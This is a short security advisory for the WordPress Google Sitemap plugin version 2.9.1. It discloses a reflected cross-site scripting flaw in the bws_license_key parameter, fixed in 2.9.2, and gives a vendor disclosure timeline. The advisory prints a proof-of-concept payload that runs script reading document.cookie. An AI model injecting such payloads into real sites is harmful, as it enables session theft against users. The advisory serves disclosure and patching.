Plugin Name : Google Sitemap
Effected Version : 2.9.1 (and most probably lower version's if any)
Vulnerability : A3-Cross-Site Scripting (XSS)
Identified by : Madhu Akula
Technical Details
Minimum Level of Access Required : Administrator
PoC - (Proof of Concept) :
http://localhost/wp-admin/admin.php?page=google-sitemap-plugin.php&action=go_pro
bws_license_key =?><img src=x onerror=prompt(document.cookie);>
Vulnerable Parameter : bws_license_key
Type of XSS : Reflected
Fixed in : 2.9.2
http://wordpress.org/plugins/google-sitemap-plugin/changelog/
Disclosure Timeline
Vendor Contacted : 2014-08-04
Plugin Status : Updated on 2014-08-07
Public Disclosure : October 3, 2015
CVE Number : Not assigned yet
Plugin Description :
With the Google Sitemap Plugin you can create and add a Sitemap file to Google Webmaster Tools, and get the info about your site in Google Webmaster Tools.